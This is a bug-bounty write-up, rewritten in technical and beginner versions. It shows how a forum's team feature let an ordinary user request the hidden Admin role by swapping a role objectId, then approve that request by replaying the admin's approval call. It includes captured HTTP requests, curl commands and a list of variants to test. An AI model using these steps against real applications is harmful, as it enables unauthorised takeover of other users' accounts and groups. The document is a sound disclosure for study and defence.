Skip to content
Access control Write-up Intermediate

Full Team Takeover | by Hacking articles

The team join endpoint accepted a role object ID for Admin even though the UI only allowed lower roles, and the approval endpoint did not verify that the caller was the team admin. An attacker could join any team as an admin and then manage team details and approve or deny join requests.

Tuhin Bose Follow

Published on infosecwriteups.com

Hare Krishna! My name is Tuhin Bose (tuhin1729).

Tuhin Bose, on infosecwriteups.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target is a forum where users can interact with each other and create teams with other users. The team feature has three behaviours that matter here:

  1. Users can create a team.
  2. Any other user can send a request to join the team with one of three roles: soldier, manager or supporter. They cannot send a request to join as an admin through the UI. Each role has an importance level, an integer between 1 and 10, based on the permissions it grants inside the team. The supporter role has importance level 10 (least privilege) and the admin role has importance level 1 (most privilege).
  3. If the admin of the team approves a joining request, the requesting user becomes part of the team. Only the admin has permission to allow anyone into their team.

The requests shown in the report go to endpoints under /functions/ and carry a session token in an X-Session-Token header.

From the original on infosecwriteups.com

Setup

The researcher analysed the team functionality with Burp Suite, using two accounts: one ordinary account that sends the joining request, and one admin account used to observe the approval request. The captured requests show Firefox 108 and Chrome 108 user agents.

Finding it

While analysing the team functionality, the researcher noticed that the UI only offers soldier, manager and supporter when requesting to join a team, even though the admin role exists and is the most privileged. Looking at the HTTP traffic revealed a request that fetches all available roles:

HTTP
POST /functions/team-roles-get HTTP/2Host: redacted.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: */*Accept-Language: en-US,en;q=0.5X-Session-Token: [redacted]-Encoding: gzip, deflateContent-Type: application/json; charset=utf-8Content-Length: 2Referer: https://redacted.com/Origin: https://redacted.com{}

The response lists every role, including Admin, with its importance and its objectId:

HTTP
HTTP/2 200 OKContent-Type: application/json; charset=utf-8Content-Length: 309Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETEAccess-Control-Allow-Origin: https://redacted.comDate: Sun, 08 Jan 2023 05:18:59 GMTServer: nginxVary: Accept-EncodingX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-Powered-By: ExpressX-Xss-Protection: 1; mode=block{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

The Admin role has objectId QgtliC3yRs. The UI does not offer the Admin role, but the role list response includes it with its objectId.

Exploitation

Step 1: capture the normal joining request

Sending a request to join a team as a Soldier produced this request:

HTTP
POST /functions/team-join-post HTTP/2Host: redacted.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/json; charset=utf-8Content-Length: 164Referer: https://redacted.com/X-Session-Token: [redacted]: https://redacted.com{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

MdpcbB6bpz is the objectId of the team, and ZwskfB2xQr is the objectId of the Soldier role from the /functions/team-roles-get response. The body uses pointer objects to reference the team and the role by objectId.

Step 2: swap the role objectId for Admin

The researcher replaced the Soldier objectId with the Admin objectId (QgtliC3yRs) in the same request, expecting an error. Instead the request was accepted:

HTTP
HTTP/2 200 OKContent-Type: application/json; charset=utf-8Content-Length: 95Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETEAccess-Control-Allow-Origin: https://redacted.comDate: Sun, 08 Jan 2023 06:37:56 GMTServer: nginxVary: Accept-EncodingX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-Powered-By: ExpressX-Xss-Protection: 1; mode=block{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

The joining request was created with awaitingApproval: true, and GfqdcC7cqA is the objectId of the new team joining request. The request was accepted and a joining request was created.

Step 3: approve the request as the requesting user

A request for admin would still normally be refused by the real admin, who can see the role that was applied for. So the researcher logged in to the admin account and captured the approval request:

MdpcbB6bpz is the team objectId and GfqdcC7cqA is the objectId of the joining request created in step 2. The request sets isApproved to true.

The researcher then logged back in to the first account, the one that had sent the joining request, and fired the same approval request from there.

From the original on infosecwriteups.com

The request succeeded and the account joined the team as an admin. From that point the researcher could edit the team details and view and approve or deny all the other team joining requests.

Steps to reproduce

The researcher also gave a condensed version. First, get the objectId of the Admin role:

Bash
tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: [redacted]'{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

Second, send a request to join the team as an Admin:

Bash
tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: [redacted]'{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

Third, copy the objectId and approve the joining request:

After this the account is an admin of the team.

Root cause

Two access control mistakes combine here. The joining endpoint accepted a request whose role objectId was changed to the Admin role, even though the UI never offers it. The approval request, replayed from the requesting account, succeeded. The role list endpoint also exposes the objectId of every role, including Admin, which makes the first step trivial. Both the role restriction and the admin-only approval rule could be bypassed by sending the requests directly.

Impact

An attacker with an account on the forum could join the team as an admin, given the team's objectId. and then edit the team details and view and approve or deny all other joining requests for that team. The report describes this as taking over anyone's team. The write-up does not describe any further actions available to a team admin.

Fix

The report does not say what was changed. The server should validate, on the joining endpoint, that the requested role is one the user is permitted to request, and on the approval endpoint, that the caller is the admin of the team referenced in the request. The role list endpoint should not expose privileged role identifiers to ordinary users.

Variants to test

  1. On any application with a role or permission picker, call the endpoint that lists roles and look for privileged entries. A positive result is a response containing an admin or owner role with an objectId or id that the UI never offers.
  2. Submit a joining or invitation request with the privileged role identifier in place of an allowed one. A positive result is a success response creating a pending membership with the privileged role.
  3. Capture an approval or state-change request made by an admin and replay it from a low-privileged account. A positive result is a success response and the state change taking effect for the attacker's account.
  4. Try the same replay with the attacker's own pending request id in the member field. A positive result is the attacker's membership being approved without any action by the real admin.
  5. Check whether other object references in the same API (team, member, role) can be swapped for identifiers belonging to other teams. A positive result is a successful response affecting a team the attacker does not belong to.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A forum website lets people form teams. Each team has members with different roles, and the most powerful role is the admin. The website's screens only let you ask to join a team as a soldier, a manager or a supporter, never as an admin. But when the researcher changed the request to ask for the admin role, the server accepted it. By changing one small piece of a request, the researcher asked to join as an admin, and the server said yes. Then, by sending the admin's approval request from an ordinary account, the researcher approved their own request. The result was that the researcher became an admin of the team, and from there could edit the team and decide who else could join.

This is a beginner-friendly walkthrough of that finding. It assumes you can use a browser and a computer, and nothing else. Every technical term is explained the first time it appears, and there is a glossary at the end.

From the original on infosecwriteups.com

The target and the feature

The target is a forum where people can interact with each other and create teams with other users. Think of it like a club noticeboard: anyone can post, and people can form groups inside it.

The team feature has three behaviours that matter here:

  1. Users can create a team.
  2. Any other user can send a request to join the team with one of three roles: soldier, manager or supporter. They cannot send a request to join as an admin through the UI. Each role has an importance level, an integer between 1 and 10, based on the permissions it grants inside the team. The supporter role has importance level 10 (least privilege) and the admin role has importance level 1 (most privilege).
  3. If the admin of the team approves a joining request, the requesting user becomes part of the team. Only the admin has permission to allow anyone into their team.

A few words before we go further:

  • UI stands for user interface: the buttons, menus and forms you see and click in a browser. It is the shop front.
  • Role is a label that says what a person is allowed to do. In a team, a supporter can do little, a soldier a bit more, a manager more still, and an admin the most.
  • Privilege means permission. "Least privilege" means the smallest set of permissions; "most privilege" means the largest.
  • Importance level here is just a number the application stores next to each role. A lower number means more power: admin is 1, supporter is 10.

The requests shown in the report go to endpoints under /functions/ and carry a session token in an X-Session-Token header.

Two more terms:

  • Backend is the part of the website that runs on the company's servers. Your browser sends it messages, and it does the real work: saving data, checking who you are, deciding what you may do. The UI is only the front; the backend is the till and the stockroom.
  • API (application programming interface) is the set of addresses and message formats the backend accepts. Think of a restaurant: the menu is the API, the kitchen is the backend, and your browser is the customer. You can only order what the menu lists, but if you know the kitchen also makes something not on the menu, you can try asking for it directly.
  • Endpoint is one specific address in that API, for example /functions/team-join-post. Each endpoint does one job.
  • Session token is a long random string the server gives your browser after you log in. Your browser sends it back with every request so the server knows which account is asking. It works like a wristband at an event: show it and you get in without proving who you are again. Anyone who steals it can act as you, which is why it must be kept secret.
  • Header is a small labelled line attached to a request or response, carrying information rather than content. X-Session-Token is a header; so is Content-Type.

Setup

The researcher analysed the team functionality with Burp Suite, using two accounts: one ordinary account that sends the joining request, and one admin account used to observe the approval request. The captured requests show Firefox 108 and Chrome 108 user agents.

What those tools and terms mean:

  • Burp Suite is a program that sits between your browser and the website and records every message that passes. It also lets you pause a message, edit it, and send it again. It is like a postal worker who opens every letter, copies it, and can rewrite it before delivery.
  • HTTP request is the message your browser sends to a server: "please give me this page" or "please save this form". HTTP response is the server's reply.
  • User agent is a header in which the browser says what it is, for example Firefox 108 or Chrome 108. It is a name badge, not a security check.
  • objectId is a short random-looking string the application uses as an internal name for a record, such as a team, a role or a membership request. It is like a parcel tracking number: it identifies one specific item, and if you know it you can refer to that item precisely.
  • redacted.com stands for the real site's address, which has been hidden here.

Finding it

While analysing the team functionality, the researcher noticed that the UI only offers soldier, manager and supporter when requesting to join a team, even though the admin role exists and is the most privileged. Looking at the HTTP traffic revealed a request that fetches all available roles:

HTTP
POST /functions/team-roles-get HTTP/2Host: redacted.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: */*Accept-Language: en-US,en;q=0.5X-Session-Token: [redacted]-Encoding: gzip, deflateContent-Type: application/json; charset=utf-8Content-Length: 2Referer: https://redacted.com/Origin: https://redacted.com/{}

Line by line, in plain words:

  • POST /functions/team-roles-get HTTP/2 says: send a POST request to the endpoint /functions/team-roles-get, using version 2 of the HTTP protocol. POST is the method used when you are sending data to the server rather than just asking for a page.
  • Host: redacted.com names the website being contacted.
  • User-Agent: ...Firefox/108.0 says the request came from Firefox 108 on Windows. This is just a label.
  • Accept: */* says the browser will accept any kind of reply.
  • Accept-Language: en-US,en;q=0.5 says the browser prefers US English.
  • X-Session-Token: [redacted] is the wristband: it tells the server which logged-in account is asking. Here it has been replaced with a placeholder.
  • Accept-Encoding: gzip, deflate says the browser can accept compressed replies, to save bandwidth.
  • Content-Type: application/json; charset=utf-8 says the body of the request is in JSON, a text format for structured data, and uses the UTF-8 character encoding.
  • Content-Length: 2 says the body is 2 bytes long.
  • Referer: https://redacted.com/ says which page the browser was on when it sent this.
  • Origin: https://redacted.com says which site the request originates from. Servers use it for cross-site checks.
  • {} is the body: an empty JSON object, meaning "no extra input needed".

The response lists every role, including Admin, with its importance and its objectId:

HTTP
HTTP/2 200 OKContent-Type: application/json; charset=utf-8Content-Length: 309Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETEAccess-Control-Allow-Origin: https://redacted.comDate: Sun, 08 Jan 2023 05:18:59 GMTServer: nginxVary: Accept-EncodingX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-Powered-By: ExpressX-Xss-Protection: 1; mode=block{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

Line by line:

  • HTTP/2 200 OK is the status line: the server answered using HTTP/2 and the code 200, which means success.
  • Content-Type: application/json; charset=utf-8 says the reply body is JSON in UTF-8.
  • Content-Length: 309 says the body is 309 bytes.
  • Access-Control-Allow-Credentials: true, Access-Control-Allow-Methods: ... and Access-Control-Allow-Origin: https://redacted.com are CORS headers. CORS is a browser rule that decides which other websites may read replies from this one. These lines say only pages on redacted.com may read this reply with credentials attached.
  • Date: Sun, 08 Jan 2023 05:18:59 GMT is when the server produced the reply.
  • Server: nginx names the web server software. X-Powered-By: Express names the application framework. These are fingerprints, not secrets.
  • Vary: Accept-Encoding tells caches that the reply can differ depending on the compression the client accepts.
  • X-Content-Type-Options: nosniff, X-Frame-Options: SAMEORIGIN and X-Xss-Protection: 1; mode=block are defensive headers that tell the browser not to guess content types, not to embed the page in another site's frame, and to block certain script attacks.
  • The body is a JSON object with one key, result, holding a list of four role records. Each record has a roleName, an importance number, an objectId, a __type and a className. The className says what kind of record it is: TeamRole.

The Admin role has objectId QgtliC3yRs. The UI does not offer the Admin role, but the role list response includes it with its objectId.

Client side means inside your browser, in the page's code. Server side means on the company's machine. A rule enforced only client side is like a shop that puts a "staff only" sign on a door but never locks it: anyone who walks around the sign gets in. The researcher's suspicion was that the browser simply never offered the admin option, while the server would happily accept it if asked directly.

Exploitation

Step 1: capture the normal joining request

Sending a request to join a team as a Soldier produced this request:

HTTP
POST /functions/team-join-post HTTP/2Host: redacted.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/json; charset=utf-8Content-Length: 164Referer: https://redacted.com/X-Session-Token: [redacted]: https://redacted.com{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

Line by line:

  • POST /functions/team-join-post HTTP/2 sends a POST to the endpoint that creates a team joining request.
  • The headers do the same jobs as before: Host names the site, User-Agent labels the browser, Accept and Accept-Language state preferences, Accept-Encoding allows compression, Content-Type says the body is JSON, Content-Length: 164 gives its size, Referer and Origin say where the request came from, and X-Session-Token identifies the logged-in account.
  • The body is a JSON object with three keys. team points at the team, role points at the role being requested, and message is the note the user typed, here 1234.
  • Each of team and role is a pointer object: a small JSON object with __type: "Pointer", a className saying what kind of record it refers to (Team or TeamRole), and an objectId naming the exact record. A pointer is like writing a tracking number on a form instead of describing the parcel: it is precise and short.

MdpcbB6bpz is the objectId of the team, and ZwskfB2xQr is the objectId of the Soldier role from the /functions/team-roles-get response. The body uses pointer objects to reference the team and the role by objectId.

Why capture this request at all? Because it is the template. It shows exactly which fields the server expects and where the role is named. Once you have a working example, you can change one value and resend it, which is far easier than guessing the format from scratch.

Step 2: swap the role objectId for Admin

The researcher replaced the Soldier objectId with the Admin objectId (QgtliC3yRs) in the same request, expecting an error. Instead the request was accepted:

HTTP
HTTP/2 200 OKContent-Type: application/json; charset=utf-8Content-Length: 95Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETEAccess-Control-Allow-Origin: https://redacted.comDate: Sun, 08 Jan 2023 06:37:56 GMTServer: nginxVary: Accept-EncodingX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-Powered-By: ExpressX-Xss-Protection: 1; mode=block{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

Line by line:

  • HTTP/2 200 OK again means success. The server did not complain.
  • The headers are the same defensive and informational headers as in the role list response, with a new Date.
  • Content-Length: 95 says the body is 95 bytes.
  • The body has one key, result, holding a record with awaitingApproval: true, the same message of 1234, a new objectId of GfqdcC7cqA, a __type of Object and a className of TeamMember.

The joining request was created with awaitingApproval: true, and GfqdcC7cqA is the objectId of the new team joining request. The backend did not reject the Admin role.

awaitingApproval: true means the request is sitting in a queue, waiting for someone to say yes or no. It is a pending application, not yet a membership. The important point is that the server accepted a request naming the Admin role, which the UI never offered.

Step 3: approve the request as the requesting user

A request for admin would still normally be refused by the real admin, who can see the role that was applied for. So the researcher logged in to the admin account and captured the approval request:

Line by line:

  • POST /functions/team-join-response-post HTTP/2 sends a POST to the endpoint that answers a joining request.
  • Host: redacted.com names the site.
  • Content-Length: 169 gives the body size.
  • User-Agent: ...Chrome/[redacted] Safari/537.36 says this request came from Chrome 108. The user agent here names Chrome 108.
  • Content-Type: application/json; charset=utf-8 says the body is JSON.
  • Accept: */* accepts any reply type.
  • X-Session-Token: [redacted] is the admin account's wristband. It is a different token from the first account's, which is the whole point: the server uses it to know who is calling.
  • Origin and Referer say the request came from redacted.com.
  • Accept-Encoding and Accept-Language are the usual preferences.
  • The body has three keys. team is a pointer to the team, member is a pointer to the joining request, and isApproved: true is the decision: yes, let this person in.

MdpcbB6bpz is the team objectId and GfqdcC7cqA is the objectId of the joining request created in step 2. The request sets isApproved to true.

The researcher then logged back in to the first account, the one that had sent the joining request, and fired the same approval request from there.

From the original on infosecwriteups.com

Why this step? Because the approval request is just a message. If the server checks who is sending it, an ordinary account should be refused. If the server only looks at the content, anyone can send it. The researcher wanted to know which of the two was true. Replaying a captured request from a different account is the standard way to test that.

The request succeeded and the account joined the team as an admin. From that point the researcher could edit the team details and view and approve or deny all the other team joining requests.

Steps to reproduce

The researcher also gave a condensed version. First, get the objectId of the Admin role:

Bash
tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: [redacted]'{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

Line by line:

  • tuhin1729@kali:~$ is the command prompt: the user tuhin1729 on a machine named kali, in the home directory. Everything after it is the command.
  • curl is a command-line tool that sends HTTP requests, the same kind your browser sends, but from a terminal and with full control over every part.
  • -XPOST sets the method to POST.
  • https://redacted.com/functions/team-roles-get is the address being called.
  • --data '{}' sets the body to an empty JSON object.
  • -H 'X-Session-Token: ...' adds the session token header, identifying the account.
  • The line after the command is the server's reply, printed by curl: the same JSON list of four roles, including Admin with objectId QgtliC3yRs.

Second, send a request to join the team as an Admin:

Bash
tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: [redacted]'{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

Line by line:

  • The command sends a POST to /functions/team-join-post with the same body as the captured request: the team pointer, the role pointer and the message.
  • The role pointer in the body still shows ZwskfB2xQr, the Soldier role, exactly as the researcher's condensed command was written. The point of the step is that the role objectId is a value you control: in the earlier step it was changed to the Admin objectId QgtliC3yRs, and the server accepted it.
  • The reply shows a new TeamMember record with awaitingApproval: true and objectId GfqdcC7cqA.

Third, copy the objectId and approve the joining request:

Line by line:

  • The command sends a POST to /functions/team-join-response-post with the team pointer, the member pointer using the objectId GfqdcC7cqA from the previous reply, and isApproved: true.
  • The session token is the first account's token, not the admin's. That is the vulnerability: the approval is being sent by the applicant.
  • The reply is {"result":true}, meaning the server accepted the approval.

After this the account is an admin of the team.

Root cause

Two access control mistakes combine here. The joining endpoint accepted a request whose role objectId was changed to the Admin role, even though the UI never offers it. The approval request, replayed from the requesting account, succeeded. The role list endpoint also exposes the objectId of every role, including Admin, which makes the first step trivial. Both the role restriction and the admin-only approval rule could be bypassed by sending the requests directly.

Access control is the set of rules about who may do what. Broken access control means those rules are missing or can be bypassed. The everyday comparison is a hotel: the receptionist tells guests that only staff may enter the kitchen, but the kitchen door has no lock. The instruction is real, but nothing enforces it.

Impact

An attacker with an account on the forum could join the team as an admin, given the team's objectId. and then edit the team details and view and approve or deny all other joining requests for that team. The report describes this as taking over anyone's team. The write-up does not describe any further actions available to a team admin.

Fix

The report does not say what was changed. The server should validate, on the joining endpoint, that the requested role is one the user is permitted to request, and on the approval endpoint, that the caller is the admin of the team referenced in the request. The role list endpoint should not expose privileged role identifiers to ordinary users.

In plain terms: the lock has to be on the kitchen door, not on the sign. Every rule the UI shows must also be checked by the server, because the UI runs on the user's machine and the user can change anything there.

Variants to test

These are patterns to look for on other sites, not steps in this report.

  1. On any application with a role or permission picker, call the endpoint that lists roles and look for privileged entries. A positive result is a response containing an admin or owner role with an objectId or id that the UI never offers.
  2. Submit a joining or invitation request with the privileged role identifier in place of an allowed one. A positive result is a success response creating a pending membership with the privileged role.
  3. Capture an approval or state-change request made by an admin and replay it from a low-privileged account. A positive result is a success response and the state change taking effect for the attacker's account.
  4. Try the same replay with the attacker's own pending request id in the member field. A positive result is the attacker's membership being approved without any action by the real admin.
  5. Check whether other object references in the same API (team, member, role) can be swapped for identifiers belonging to other teams. A positive result is a successful response affecting a team the attacker does not belong to.

Glossary

  • Access control: the rules that decide who is allowed to do what.
  • API: the set of addresses and message formats a backend accepts, like a menu you can order from.
  • Backend: the server-side part of an application that stores data and enforces rules.
  • Broken access control: a flaw where those rules are missing or can be bypassed.
  • Burp Suite: a tool that records, pauses, edits and resends HTTP traffic between a browser and a server.
  • Client side: code that runs in the user's browser, which the user can inspect and change.
  • CORS: browser rules that decide which other websites may read a site's responses.
  • curl: a command-line tool for sending HTTP requests.
  • Endpoint: one specific address in an API that performs one job.
  • Header: a labelled line attached to a request or response carrying information rather than content.
  • HTTP request / response: the message a browser sends to a server and the reply it gets back.
  • Importance level: a number stored with each role; here a lower number means more power.
  • JSON: a text format for structured data, made of keys and values.
  • objectId: a short identifier the application uses to name one specific record.
  • Pointer object: a small JSON object that refers to another record by its objectId and class name.
  • Privilege: a permission to do something.
  • Role: a label that groups a set of permissions, such as soldier, manager, supporter or admin.
  • Server side: code that runs on the company's servers, which the user cannot change.
  • Session token: a long random string issued at login and sent with each request to identify the account, like a wristband.
  • UI (user interface): the buttons, menus and forms a user sees and clicks.
  • User agent: a header in which the browser names itself and its version.

More by Tuhin Bose

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.